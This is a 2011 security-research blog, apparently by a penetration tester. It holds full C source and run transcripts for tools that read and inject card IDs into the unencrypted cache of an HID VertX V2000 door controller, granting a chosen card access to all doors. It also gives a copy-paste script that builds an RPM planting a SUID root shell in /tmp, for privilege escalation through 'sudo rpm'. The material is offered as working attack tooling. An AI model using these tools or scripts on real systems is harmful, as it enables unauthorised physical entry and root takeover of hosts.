Friday, October 14, 2011

Open Security Research!

Hey guys, I haven't posted in a while now, not because I don't really have anything to say, but because I'm now shifting all my blogging to the Open Security Research Blog. So hop on over and I'll see you in the comments!

Thursday, August 25, 2011

HID VertX V2000 Cache Tool - Now with Insertion! (VertX_CacheTool.c)

I finally got around to finishing up my cache tool for the HID VertX V2000. Since the V2000 stores its cache unencrypted locally, if you gain access to one of these little boxes, you can pull and inject values directly from/into the cache. So say for instance, you have a card you want to give rights to open every door served by the VertX, you can just insert that card value into the cache and Win!

To use the tool, you need local access to the VertX and the ability to transfer files. FTP is usually enabled by default, so that shouldnt be difficult.

You have two options to modify the cache. The first option (shown below) is to cross compile VertX_CacheTool.c for cris, then upload it. Or compile VertX_CacheTool.c on your local system, copy AccessDB and IdentDB locally, modify, then upload to the VertX.

Cross Compile for Cris:
Read this for more info on setting up the build environment.

# export PATH=$PATH:/usr/local/cris/bin/
# cris-gcc -mlinux -o VertX_CacheTool VertX_CacheTool.c


Copy VertX_CacheTool to the VertX via FTP:

# ftp 192.168.1.1
Connected to 192.168.1.1
220 Axis Developer Board LX release 2.2.0 (Feb 27 2007) ready.
Name (192.168.1.1:root): root
331 User name okay, need password.
Password:
230 User logged in, proceed.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> put VertX_CacheTool /mnt/flash/VertX_CacheTool
local: VertX_CacheTool remote: /mnt/flash/VertX_CacheTool
200 Command okay.
150 Opening data connection.
226 Transfer complete.
21024 bytes sent in 0.00 secs (4958.0 kB/s)
ftp>


Telnet and run the tool:
(-c DEADBEEF00 inserts the card value into cache, and -r restarts the "access" and "ident" processes)

# telnet 192.168.1.1
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.

Axis Developer Board LX release 2.2.0
Linux 2.4.26 on a cris (0)

VertXController login: root
Password:


BusyBox v1.00-rc3 (2007.02.27-17:05+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

[root@VertXController /]13100# cd /mnt/flash
[root@VertXController /mnt/flash]13100# chmod +x VertX_CacheTool
[root@VertXController /mnt/flash]13100# ./VertX_CacheTool -c DEADBEEF00 -r
HID VertX V2000 IdentDB/AccessDB Tool v0.3
By brad a.
---------------------------------
Using Card Value: de ad be ef 00
AccessDB Location: /mnt/flash/config/AccessDB
IdentDB Location: /mnt/flash/config/IdentDB
Reading AccessDB
Reading IdentDB
Adding entry into cache
Building AccessDB Entry....
Adding entry into cache
Building IdentDB Entry....
Saving updated DB to: /mnt/flash/config/AccessDB
Saving updated DB to: /mnt/flash/config/IdentDB
Restarting /etc/init.d/access
Restarting /etc/init.d/ident
[root@VertXController /mnt/flash]13100#


Then confirm its been updated:
(notice that deadbeef00 is in cache as the last entry)

[root@VertXController /mnt/flash]13100# ./VertX_CacheTool -p
HID VertX V2000 IdentDB/AccessDB Tool v0.3
By brad a.
---------------------------------
AccessDB Location: /mnt/flash/config/AccessDB
IdentDB Location: /mnt/flash/config/IdentDB
Reading AccessDB
Reading IdentDB
Processing Data from AccessDB and IdentDB
DB ID: 01 | Card ID: 00 26 3f 95 00 00 00 00 00 00 | Doors: 02 | Enabled: Yes! [00]
DB ID: 09 | Card ID: 00 26 3f a9 00 00 00 00 00 00 | Doors: 03 | Enabled: Yes! [00]
DB ID: 0b | Card ID: 00 26 3f 9c 00 00 00 00 00 00 | Doors: 04 | Enabled: Yes! [00]
DB ID: 0d | Card ID: 00 90 65 c0 3b 00 00 00 00 00 | Doors: 02 | Enabled: Yes! [00]
DB ID: 0e | Card ID: 00 26 3f 9a 00 00 00 00 00 00 | Doors: 02 | Enabled: Yes! [00]
DB ID: 0f | Card ID: de ad be ef 00 00 00 00 00 00 | Doors: 02 | Enabled: Yes! [00]




Here's the help:

[root@VertXController /mnt/flash]13100# ./VertX_CacheTool
HID VertX V2000 IdentDB/AccessDB Tool v0.3
By brad a.
---------------------------------
Options:
-c ID Value (10 Hex)
-i Path to IdentDB (default: /mnt/flash/config/IdentDB)
-a Path to AccessDB (default: /mnt/flash/config/AccessDB)
-p Dump data from AccessDB and IdentDB
-v Verbose
-r Restart ident and access tasks
-m Make new AccessDB and IdentDBs but dont modify the originals
Usage:
./VertX_CacheTool -p
./VertX_CacheTool -c 0000000000 -b -r



And the Code:

# cat VertX_CacheTool.c
/*
        VertX_CacheTool -
                tool that queries/modifies the cache on a HID VertX V2000
                By Brad Antoniewicz
*/


#include <stdio.h>
#include <string.h>
#include <stdint.h>

#define VERSION 0.3


/*
Sample IdentDB Entry
 0  1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
00 26 3F 95 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 FE 00 00 00 00 00 00 00

Field 0 - 3 = Card ID
Field 16 = Entry Number
Field 20 = Seems to remain constant (FE)
Field 24 = Enabled(00)/Disababled(01)?
*/

// IdentDB Offset Declarations
#define I_CARDIDL       10
#define I_ENTRYL        28
#define I_CARDIDF       0
#define I_ENTRYF        16
#define I_ENABLEDF      24


/*
Sample Access DB Entry
 0  1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
01 00 00 00 0F 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 55 25 4E FF 0B BD 72 00 00 00 00 00 00 00 00 00 00 00 00
01 00 00 00 0F 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 55 25 4E FF 0B BD 72 00 00 00 00 00 00 00 00 00 00 00 00
03 00 00 00 0F 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 95 25 4E FF 0B BD 72 00 00 00 00 00 00 00 00 08 00 00 00
05 00 00 00 0F 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C4 6C 26 4E FF 0B BD 72 00 00 00 00 00 00 00 00 08 00 00 00
07 00 00 00 0F 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 76 26 4E FF 0B BD 72 00 00 00 00 00 00 00 00 08 00 00 00
09 00 00 00 0F 00 00 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 9D 26 4E FF 0B BD 72 00 00 00 00 00 00 00 00 20 00 00 00
0B 00 00 00 0F 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 BC A1 26 4E FF 0B BD 72 00 00 00 00 00 00 00 00 20 00 00 00
Field 0 = Entry Number (Matches IdentDB)
Field 4 = Seems to remain constant (0F)
Field 8 = Door Access (Defined in /mnt/flash/config/DoorGroups)
Field 40 = Enabled? 08 = Disabled accounts, 00 and 20? maybe enabled?
*/

// AccessDB Offset Declarations
#define A_ENTRYL        44
#define A_ENTRYF        0
#define A_DOORSF        8
#define A_UNKNF         40
#define MAX_FILESIZE 256

struct rec {
        uint8_t position;
};

struct AccessDB {
        uint8_t record[A_ENTRYL];
};

struct AccessDB accessdb[256];

struct IdentDB {
        uint8_t record[I_ENTRYL];
};
struct IdentDB identdb[256];

void help(char name[]) {
        printf("Options:\n");
        printf("\t-c <ID>\t\tID Value (10 Hex)\n");
        printf("\t-i <IdentDB>\tPath to IdentDB (default: /mnt/flash/config/IdentDB)\n");
        printf("\t-a <AccessDB>\tPath to AccessDB (default: /mnt/flash/config/AccessDB)\n");
        printf("\t-p\t\tDump data from AccessDB and IdentDB\n");
        printf("\t-v\t\tVerbose\n");
//      printf("\t-b\t\tBackup IdentDB and AccessDB\n");
        printf("\t-r\t\tRestart ident and access tasks\n");
        printf("\t-m\t\tMake new AccessDB and IdentDBs but dont modify the originals\n");
        printf("Usage:\n");
        printf("\t %s -p\n",name);
        printf("\t %s -c 0000000000 -b -r \n",name);

}

int write_file(char *file, char *type,int verbose,int entries, int makenew) {
        FILE *file_ptr;
        char append[6] = "-new";
        char newfile[MAX_FILESIZE + strlen(append)];
        int x,y;
        uint8_t endofentry = 0;
        strncpy(newfile,file,MAX_FILESIZE);
        if (makenew)
                strncat(newfile,append,6);

        printf("Saving updated DB to: %s\n",newfile);

        file_ptr = fopen(newfile,"wb");
        if (!file_ptr) {
                printf("ERROR: Could not open %s\n",newfile);
                return -1;
        }
        if (type == "a") {
                fwrite(&accessdb,sizeof(struct AccessDB),entries + 1,file_ptr);
                fwrite(&endofentry,sizeof(uint8_t),1,file_ptr);
        } else if (type == "i") {
                fwrite(&identdb,sizeof(struct IdentDB),entries + 1,file_ptr);
                fwrite(&endofentry,sizeof(uint8_t),1,file_ptr);
        } else {
                printf("ERROR: Unknown Type!\n");
        }

        fclose(file_ptr);


}

int update_db(char *type, int entries, int verbose, uint8_t *cardid) {
        uint8_t lastentry;
        int x;
        printf("Adding entry into cache\n");
        if (type == "a") {
                lastentry = accessdb[entries].record[A_ENTRYF];
                if (verbose)
                        printf("Last Entry: %02x\n",lastentry);
                lastentry++;
                if (verbose)
                        printf("Using Entry: %02x\n",lastentry);

                printf("Building AccessDB Entry....\n");
                for (x=0; x < A_ENTRYL; x++) {
                        if (x == A_ENTRYF)
                                accessdb[entries+1].record[x] = lastentry;
                        else if (x == A_DOORSF)
                                // 02 = All doors in my DoorGroups file
                                accessdb[entries+1].record[x] = 02;
                        else if (x == A_UNKNF)
                                accessdb[entries+1].record[x] = 00;
                        else
                                accessdb[entries+1].record[x] = accessdb[entries].record[x];
                        if (verbose)
                                printf("%d.",x);
                }
                if (verbose) {
                        printf("\n");
                        for (x=0; x < A_ENTRYL; x++) {
                                printf("%02x",(unsigned int)accessdb[entries+1].record[x]);
                        }
                        printf("\n");
                }

        } else if (type == "i") {
              lastentry = identdb[entries].record[I_ENTRYF];
              if (verbose)
                        printf("Last Entry: %02x\n",lastentry);
                lastentry++;
                if (verbose)
                        printf("Using Entry: %02x\n",lastentry);

                printf("Building IdentDB Entry....\n");
                for (x=0; x < I_ENTRYL; x++) {
                        if (x == I_ENTRYF)
                                identdb[entries+1].record[x] = lastentry;
                        else if (x >= I_CARDIDF && x <(I_CARDIDF + I_CARDIDL)/2 )
                                identdb[entries+1].record[x] = cardid[x-I_CARDIDF];
                        else
                                identdb[entries+1].record[x] = identdb[entries].record[x];
                        if (verbose)
                                printf("%d.",x);
                }
                if (verbose) {
                        printf("\n");
                        for (x=0; x < I_ENTRYL; x++) {
                                printf("%02x",(unsigned int)identdb[entries+1].record[x]);
                        }
                        printf("\n");
                }

        } else {
                printf("ERROR: Unknown Type!! \n");
        }
}


int parse_db(char *type, int entries, int verbose) {
        int x=0,y=0;

        if (type == "a") {
                printf("Parsing AccessDB\n");
                for (x=0; x <= entries; x++) {
                        printf("\tDB ID: %02x | ",(unsigned int)accessdb[x].record[A_ENTRYF]);
                        printf("Doors: %02x\n",(unsigned int) accessdb[x].record[A_DOORSF]);
                }

        } else if (type == "i") {
                printf("Parsing IdentDB\n");
                for (x=0; x <= entries; x++) {
                        printf("\tDB ID: %02x | ",(unsigned int)identdb[x].record[I_ENTRYF]);
                        printf("Card ID: ");
                        for (y=0; y<I_CARDIDL/2; y++)
                                printf("%02x ",(unsigned int) identdb[x].record[y]);
                        printf(" | Enabled: ");
                        if(identdb[x].record[I_ENABLEDF] == 00)
                                printf("Yes! [%02x]",identdb[x].record[I_ENABLEDF]);
                        else if (identdb[x].record[I_ENABLEDF] == 01)
                                printf("No [%02x]",identdb[x].record[I_ENABLEDF]);
                        else
                                 printf("Unknown [%02x]",identdb[x].record[I_ENABLEDF]);
                        printf("\n");

                }
        } else if (type == "c") {
                printf("Processing Data from AccessDB and IdentDB\n");
                for (x=0; x <= entries; x++) {
                        printf("\tDB ID: %02x | ",(unsigned int)identdb[x].record[I_ENTRYF]);
                        printf("Card ID: ");
                        for (y=0; y<I_CARDIDL; y++)
                                printf("%02x ",(unsigned int) identdb[x].record[y]);

                        if (identdb[x].record[I_ENTRYF] == accessdb[x].record[A_ENTRYF])
                                printf("\t| Doors: %02x | ",(unsigned int) accessdb[x].record[A_DOORSF]);
                        else
                                printf("\n\nAccessDB and IdentDB entry MisMatch!\nSomething is wrong\n");

                        printf("Enabled: ");
                        if(identdb[x].record[I_ENABLEDF] == 00)
                                printf("Yes! [%02x]",identdb[x].record[I_ENABLEDF]);
                        else if (identdb[x].record[I_ENABLEDF] == 01)
                                printf("No [%02x]",identdb[x].record[I_ENABLEDF]);
                        else
                                 printf("Unknown [%02x]",identdb[x].record[I_ENABLEDF]);
                        printf("\n");

                }


        } else {
                printf("ERROR: Unknown Type!! \n");
        }
}


int read_file(char *file, char *type,int verbose) {
        int OFFSET=0;
        FILE *file_ptr;
        int counter=1,location=0,entry=0,x=0,y=0,z=0;
        struct rec my_record;

        file_ptr = fopen(file,"rb");
        if(!file_ptr) {
                printf("ERROR: Could not open %s\n",file);
                return -1;
        }

        if (type == "a") {
                printf("Reading AccessDB\n");

                if (verbose)
                        printf("AccessDB Raw:\n\t");

                while (!feof(file_ptr) && entry < 255) {
                        if (counter == 1 || counter % A_ENTRYL == 1) {
                                if (verbose)
                                        printf("\n\tEntry %d:",entry);
                                entry++;
                                counter=1;
                        }
                        fread(&my_record,sizeof(struct rec),1,file_ptr);
                        if (verbose)
                                printf("%02x",my_record.position);
                        accessdb[entry - 1].record[counter - 1] = my_record.position;
                        counter++;
                }
                accessdb[entry].record[0] = 0xFF;
                if (verbose)
                        printf("\n");
        } else if (type == "i") {
                printf("Reading IdentDB\n");

                if (verbose)
                        printf("IdentDB Raw:\n\t");

               while (!feof(file_ptr) && entry < 255) {
                        if (counter == 1 || counter % I_ENTRYL == 1) {
                                if (verbose)
                                        printf("\n\tEntry %d:",entry);
                                entry++;
                                counter=1;
                        }
                        fread(&my_record,sizeof(struct rec),1,file_ptr);
                        if (verbose)
                                printf("%02x",my_record.position);
                        identdb[entry - 1].record[counter - 1] = my_record.position;
                        counter++;
                }
                identdb[entry].record[0] = 0xFF;
                if (verbose)
                        printf("\n");

        } else if (type == "c") {
                printf("Custom Type Defined: Pulling\n");

        } else {
                printf("ERROR: Unknown Type!\n");
        }
        fclose(file_ptr);
        return entry - 2;

}


int main(int argc, char *argv[]) {
        int c=0, x=0, y=0, l=0, ch=0, a_entries=0,i_entries=0,d=0;
        uint8_t card_val[I_CARDIDL];
        char accessDB_file[MAX_FILESIZE] = "/mnt/flash/config/AccessDB";
        char identDB_file[MAX_FILESIZE] = "/mnt/flash/config/IdentDB";
        char tmp[3];
        char buff[I_CARDIDL];
        int makenew=0,parse=0,verbose=0, restart=0,backup=0;
        char backuptag[5] = "-bak";
        char backupfile[MAX_FILESIZE + strlen(backuptag)];


        printf("HID VertX V2000 IdentDB/AccessDB Tool v%1.1f\n",VERSION);
        printf("By brad a.\n");
        printf("---------------------------------\n");

        if (argc < 2 ) {
                help(argv[0]);
                return 0;
        }

        for ( x = 0; x < argc; x++) {

                switch( (int)argv[x][0]) {
                        case '-':
                                l = strlen(argv[x]);
                                for ( y = 1; y < l; ++y) {
                                        ch = (int)argv[x][y];
                                        switch(ch) {
                                                case 'c':
                                                        if (strlen(argv[x+1]) == I_CARDIDL) {
                                                                for(c=0;c<I_CARDIDL;c+=2) {
                                                                        tmp[0] = argv[x+1][c];
                                                                        tmp[1] = argv[x+1][c+1];
                                                                        card_val[d] = strtol(tmp,NULL,16);
                                                                        d++;
                                                                }

                                                                printf("Using Card Value: ");
                                                                for (c=0;c<I_CARDIDL/2;c++)
                                                                        printf(" %02x", card_val[c]);
                                                                printf("\n");
                                                                
                                                        } else {
                                                                printf("Value provided for CardID is not the correct size.\n");
                                                                return -1;
                                                        }

                                                        break;
                                                case 'i':
                                                        if (strlen(argv[x+1]) < MAX_FILESIZE)
                                                                strncpy(identDB_file, argv[x+1],MAX_FILESIZE);
                                                        break;
                                                case 'a':
                                                        if (strlen(argv[x+1]) < MAX_FILESIZE)
                                                                strncpy(accessDB_file, argv[x+1], MAX_FILESIZE);
                                                        break;
                                                case 'p':
                                                        parse=1;
                                                        break;
                                                case 'v':
                                                        verbose=1;
                                                        break;
                                                case 'm':
                                                        makenew=1;
                                                        break;
                                                case 'b':
                                                        backup=1;
                                                        break;
                                                case 'r':
                                                        restart=1;
                                                        break;
                                                default:
                                                        help(argv[0]);
                                                        return 1;
                                        }
                                }
                        break;
                }
        }
        if ((makenew && backup) || (makenew && restart)) {
                printf("Cannot use -m and -b or -m and -r together\n");
                return -1;
        }
        printf("AccessDB Location: %s\n",accessDB_file);
        printf("IdentDB Location: %s\n",identDB_file);

        if (parse) {
                a_entries=read_file(accessDB_file,"a",verbose);
                i_entries=read_file(identDB_file,"i",verbose);

                if (verbose) {
                        printf("AccessDB Entries: %d\n",a_entries);
                        printf("IdentDB Enries: %d\n",i_entries);
                }
                if (i_entries == a_entries) {
                        if (verbose) {
                                parse_db("a",a_entries,verbose);
                                parse_db("i",i_entries,verbose);
                        }
                        parse_db("c",a_entries,verbose);
                } else if (a_entries != -1) {
                         parse_db("a",a_entries,verbose);
                } else if (i_entries != -1) {
                         parse_db("i",i_entries,verbose);
                }
        } else {

                a_entries=read_file(accessDB_file,"a",verbose);
                i_entries=read_file(identDB_file,"i",verbose);

                if (i_entries == a_entries && i_entries != -1 && a_entries != -1) {
                        update_db("a", a_entries,verbose, card_val);
                        update_db("i", i_entries,verbose, card_val);
                        if (backup) {
                                strncpy(backupfile,accessDB_file,MAX_FILESIZE);
                                strncat(backupfile,backuptag,strlen(backuptag));
                                printf("Backing up %s to %s\n",accessDB_file,backupfile);
                                system("ls");
                                strncpy(backupfile,identDB_file,MAX_FILESIZE);
                                strncat(backupfile,backuptag,strlen(backuptag));
                                printf("Backing up %s to %s\n",identDB_file,backupfile);
                                system("ls");
                        }
                        write_file(accessDB_file,"a",verbose,a_entries+1,makenew);
                        write_file(identDB_file,"i", verbose, i_entries+1,makenew);
                        if (restart) {
                                printf("Restarting /etc/init.d/access\n");
                                system("/etc/init.d/access restart");
                                printf("Restarting /etc/init.d/ident\n");
                                system("/etc/init.d/ident restart");
                        }

                } else {
                        printf("AccessDB and IdentDB Checks Failed!\n");
                        printf("Quitting\n");
                        return -1;
                }
        }




  return 0;
}

Friday, July 29, 2011

HID VertX V2000 Card Number Cache Tool (VertX_CacheQuery)

Last Article I discovered the cache on the HID VertX V2000, and learned that it contains all of the provisioned cards (and some non-provisioned cached cards). So if you gain access to the V2000, you can read all of the valid cards from this cache and emulate those values to gain physical access to a location.

Last time i used a hexeditor to pull the data.. that did the job, but the none of the fields were really defined or anything. This tool will do some of that for you.

You can either transfer the /mnt/flash/config/AccessDB and /mnt/flash/config/IdentDB files via ftp to your linux box, and run VertX_CacheQuery or compile VertX_CacheQuery.c for the VertX V2000 and transfer the binary over to the V2000 and run it from there.

Here's your help:


# ./VertX_CacheQuery -h
HID VertX V2000 IdentDB/AccessDB Tool v0.1
By brad a.
---------------------------------
Options:
-i ID Value
-f Path to IdentDB (default: /mnt/flash/config/IdentDB)
-a Path to AccessDB (default: /mnt/flash/config/AccessDB
-p Dump data from AccessDB and IdentDB
Usage:
./VertX_CacheQuery -p
./VertX_CacheQuery -i 00000000 (NOT CURRENTLY WORKING)



and here is sample output:

# ./VertX_CacheQuery -p -f IdentDB -a AccessDB
HID VertX V2000 IdentDB/AccessDB Tool v0.1
By brad a.
---------------------------------
Using non-default IdentDB Path
Using non-default AccessDB Path
AccessDB Location: AccessDB
IdentDB Location: IdentDB
IdentDB Raw:

Entry 0:00263f9500000000000000000000000001000000fe00000000000000
Entry 1:00263f9600000000000000000000000003000000fe00000001000000
Entry 2:00263f9f00000000000000000000000005000000fe00000001000000
Entry 3:00263f8e00000000000000000000000007000000fe00000001000000
Entry 4:00263fa900000000000000000000000009000000fe00000000000000
Entry 5:00263f9c0000000000000000000000000b000000fe00000000000000
Entry 6:00

IdentDB Parsed:
Entry 0:
ID:00 26 3f 95 00 00
IdentDB Entry: 01
Enabled: Yes! (00)
Entry 1:
ID:00 26 3f 96 00 00
IdentDB Entry: 03
Enabled: No (01)
Entry 2:
ID:00 26 3f 9f 00 00
IdentDB Entry: 05
Enabled: No (01)
Entry 3:
ID:00 26 3f 8e 00 00
IdentDB Entry: 07
Enabled: No (01)
Entry 4:
ID:00 26 3f a9 00 00
IdentDB Entry: 09
Enabled: Yes! (00)
Entry 5:
ID:00 26 3f 9c 00 00
IdentDB Entry: 0b
Enabled: Yes! (00)

AccessDB Raw:

Entry 0:010000000f000000020000000000000000000000000000002855254eff0bbd72000000000000000000000000
Entry 1:030000000f000000020000000000000000000000000000002495254eff0bbd72000000000000000008000000
Entry 2:050000000f00000002000000000000000000000000000000c46c264eff0bbd72000000000000000008000000
Entry 3:070000000f000000020000000000000000000000000000006076264eff0bbd72000000000000000008000000
Entry 4:090000000f00000003000000000000000000000000000000c09d264eff0bbd72000000000000000020000000
Entry 5:0b0000000f00000004000000000000000000000000000000bca1264eff0bbd72000000000000000020000000
Entry 6:00

AccessDB Parsed:
Entry 0:
AccessDB Entry: 01
Door Access Rights: 02
Entry 1:
AccessDB Entry: 03
Door Access Rights: 02
Entry 2:
AccessDB Entry: 05
Door Access Rights: 02
Entry 3:
AccessDB Entry: 07
Door Access Rights: 02
Entry 4:
AccessDB Entry: 09
Door Access Rights: 03
Entry 5:
AccessDB Entry: 0b
Door Access Rights: 04




and the source:

# cat VertX_CacheQuery.c
/*
 VertX_CacheQuery -
  tool that queries the cache on a HID VertX V2000
  By Brad Antoniewicz
*/


#include <stdio.h>
#include <string.h>
#include <stdint.h>

float VERSION=0.1;

struct rec {
 uint8_t position;
};


void help(char name[]) {
 printf("Options:\n");
 printf("\t-i <ID>\t\tID Value\n");
 printf("\t-f <IdentDB>\tPath to IdentDB (default: /mnt/flash/config/IdentDB)\n");
 printf("\t-a <AccessDB>\tPath to AccessDB (default: /mnt/flash/config/AccessDB\n");
 printf("\t-p\t\tDump data from AccessDB and IdentDB\n");
 printf("Usage:\n");
 printf("\t %s -p\n",name);
 printf("\t %s -i 00000000 (NOT CURRENTLY WORKING)\n",name);

}

/*
Sample IdentDB Entry
 0  1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
00 26 3F 95 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 FE 00 00 00 00 00 00 00

Field 0 - 3 = Card ID
Field 16 = Entry Number
Field 20 = Seems to remain constant (FE)
Field 24 = Enabled(00)/Disababled(01)?
*/
int readident(char *ident_file) {
 int    LENGTH_CARDID=6,
  LENGTH_ENTRY=28,
  FIELD_CARDID=0,
  FIELD_ENTRY=16,
  FIELD_ENABLED=24,
  OFFSET=0;
 FILE *ident_ptr;
 int counter=1,location,entries=0,x,y;
 struct rec my_record;

 ident_ptr = fopen(ident_file,"rb");
 if (!ident_ptr) {
  printf("ERROR: Could not open %s\n",ident_file);
  return 1;
 }
 printf("IdentDB Raw:\n\t");
 while (!feof(ident_ptr)) {
  if (counter == 1 || counter % LENGTH_ENTRY == 1) {
        printf("\n\tEntry %d:",entries);
        entries++;
  }
  fread(&my_record,sizeof(struct rec),1,ident_ptr);
  printf("%02x",my_record.position);
  counter++;
 }
 fseek(ident_ptr,0,SEEK_CUR);
 printf("\n\nIdentDB Parsed:\n");
 counter = 1;
 for(x=0; x < entries - 1; x++) {
  printf("\tEntry %d:\n",x);

  printf("\t\tID:");
  fseek(ident_ptr,OFFSET + FIELD_CARDID ,SEEK_SET);
  for(y=1; y<=LENGTH_CARDID; y++) {
        fread(&my_record,sizeof(struct rec),1,ident_ptr);
        printf("%02x ",my_record.position);
  }
  printf("\n");

  fseek(ident_ptr,OFFSET + FIELD_ENTRY, SEEK_SET);
  fread(&my_record,sizeof(struct rec),1,ident_ptr);
  printf("\t\tIdentDB Entry: %02x\n",my_record.position);

                fseek(ident_ptr,OFFSET + FIELD_ENABLED, SEEK_SET);
                fread(&my_record,sizeof(struct rec),1,ident_ptr);
  if (my_record.position == 00)
        printf("\t\tEnabled: Yes! (%02x)\n",my_record.position);
  else if (my_record.position == 01)
        printf("\t\tEnabled: No (%02x)\n",my_record.position);
  else
        printf("\t\tEnabled: Unknown Status!(%02x)\n",my_record.position);
  OFFSET = OFFSET + LENGTH_ENTRY;

 }
 printf("\n");
 fclose(ident_ptr);

}

/*
Sample Access DB Entry
 0  1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
01 00 00 00 0F 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 55 25 4E FF 0B BD 72 00 00 00 00 00 00 00 00 00 00 00 00
Field 0 = Entry Number (Matches IdentDB)
Field 4 = Seems to remain constant (0F)
Field 8 = Door Access (Defined in /mnt/flash/config/DoorGroups)
*/

int readaccess(char *access_file) {
        int     LENGTH_CARDID=6,
                LENGTH_ENTRY=44,
                FIELD_CARDID=0,
                FIELD_ENTRY=0,
                FIELD_DOORS=8,
                OFFSET=0;
        FILE *access_ptr;
        int counter=1,location,entries=0,x,y;
        struct rec my_record;

        access_ptr = fopen(access_file,"rb");
        if (!access_ptr) {
                printf("ERROR: Could not open %s\n",access_file);
                return 1;
        }
        printf("AccessDB Raw:\n\t");
        while (!feof(access_ptr)) {
                if (counter == 1 || counter % LENGTH_ENTRY == 1) {
                        printf("\n\tEntry %d:",entries);
                        entries++;
                }
                fread(&my_record,sizeof(struct rec),1,access_ptr);
                printf("%02x",my_record.position);
                counter++;
        }
        fseek(access_ptr,0,SEEK_CUR);
        printf("\n\nAccessDB Parsed:\n");
        counter = 1;
        for(x=0; x < entries - 1; x++) {
                printf("\tEntry %d:\n",x);

                fseek(access_ptr,OFFSET + FIELD_ENTRY, SEEK_SET);
                fread(&my_record,sizeof(struct rec),1,access_ptr);
                printf("\t\tAccessDB Entry: %02x\n",my_record.position);

                fseek(access_ptr,OFFSET + FIELD_DOORS, SEEK_SET);
                fread(&my_record,sizeof(struct rec),1,access_ptr);
  printf("\t\tDoor Access Rights: %02x\n",my_record.position);

                OFFSET = OFFSET + LENGTH_ENTRY;

        }
        printf("\n");
        fclose(access_ptr);

}

int main(int argc, char *argv[]) {
 int c=0, x=0, y=0, l=0, ch=0, parse=0;
 int buffsize=128;
 char card_val[buffsize + 1];
 char accessDB[129] = "/mnt/flash/config/AccessDB";
 char identDB[129] = "/mnt/flash/config/IdentDB";

 printf("HID VertX V2000 IdentDB/AccessDB Tool v%1.1f\n",VERSION);
 printf("By brad a.\n");
 printf("---------------------------------\n");
 if (argc < 2 ) {
  help(argv[0]);
  return 0;
 }

 for ( x = 0; x < argc; x++) {
  switch( (int)argv[x][0]) {
        case '-':
                l = strlen(argv[x]);
                for ( y = 1; y < l; ++y) {
                        ch = (int)argv[x][y];
                        switch(ch) {
                                case 'i':
                                        if (strlen(argv[x+1]) < buffsize) {
                                                strncpy(card_val,argv[x+1],buffsize);
                                                printf("Using Card Value: %s\n",card_val);
                                                printf("THIS DOESNT WORK ATM!\n");
                                        }
                                        break;
                                case 'f':
                                        if (strlen(argv[x+1]) < buffsize) {
                                                strncpy(identDB,argv[x+1],buffsize);
                                                printf("Using non-default IdentDB Path\n");
                                        }
                                        break;
                                case 'a':
                                        if (strlen(argv[x+1]) < buffsize) {
                                                strncpy(accessDB, argv[x+1], buffsize);
                                                printf("Using non-default AccessDB Path\n");
                                        }
                                        break;
                                case 'p':
                                        parse=1;
                                        break;
                                default:
                                        help(argv[0]);
                                        return 1;
                        }
                }
        break;
  }
 }
 if (strlen(card_val) < 6 && !parse) {
  printf("ERROR: Card Value must be at least 6 hex chars long\n");
  return 1;
 }

 printf("AccessDB Location: %s\n",accessDB);
 printf("IdentDB Location: %s\n",identDB);
 if (parse) {
  readident(identDB);
  readaccess(accessDB);
 }



  return 0;
}

Thursday, July 21, 2011

Leveraging 'sudo rpm' for privilege escalation

This post is a bit of a break from all the VertX stuff I've been doing. Awhile ago I wrote this little copy and pasteable thing to aid out on internal pen tests. On one engagement, I had local access to a system but not root. The user i was logged in as also had the ability to use rpm via sudo. So an easy priv escalation method is to install an RPM that contains a SUID shell.

If you copy and paste it into a shell on your local system, it'll create the rpm (your rpm will be ~/rpm/RPMS/i386/suidshell/suidshell-0.1-1.i386.rpm), then just copy it over to your target system. After you install it, the shell will be in /tmp.

cd ~/
mkdir rpm rpm/BUILD rpm/RPMS rpm/SOURCES rpm/SPECS rpm/SRPMS rpm/tmp
cat > .rpmmacros <<EOF
%_topdir               /root/rpm
%_tmppath              /root/rpm/tmp
EOF
cd rpm
cat > SPECS/suidshell.spec << --EOF--
%define name suidshell
%define version 0.1
%define release 1

Summary: SUID bash shell
Name: %{name}
Version: %{version}
Release: %{release}
License: LGPL
Group: System Environment/Libraries
Vendor: Brad Antoniewicz

%Description
This was originally designed to so that if a user has 'sudo rpm' access they can easily escalate privs to root.

-Depends
requires BASH in /bin/bash


Creates a root shell in /tmp

By Brad Antoniewicz
Foundstone

%build
cat > suidshell.c << EOF
#include <stdio.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "-bash", NULL);
return 0;
}
EOF
gcc -o suidshell suidshell.c

%install
install suidshell /tmp/suidshell
chown root:root /tmp/suidshell
chmod 6755 /tmp/suidshell

%files
/tmp/suidshell

--EOF--
rpmbuild -ba SPECS/suidshell.spec

Wednesday, July 20, 2011

HID VertX V2000 - Heartbeats, Provisioning Access, and Local Cache

If you've been following my last couple posts, you know that the newest thing on my desk is the HID VertX V2000. I downloaded the trial version of WebBrix and set up my own little lab to play around with.

I wanted to figure out how the VertX handled allowing/disallowing access to specific cards. The first thing I did was set up Wireshark to check the traffic between WebBrix and the VertX. To my surprise, everything between the two is unencrypted, so no big hurdle there.

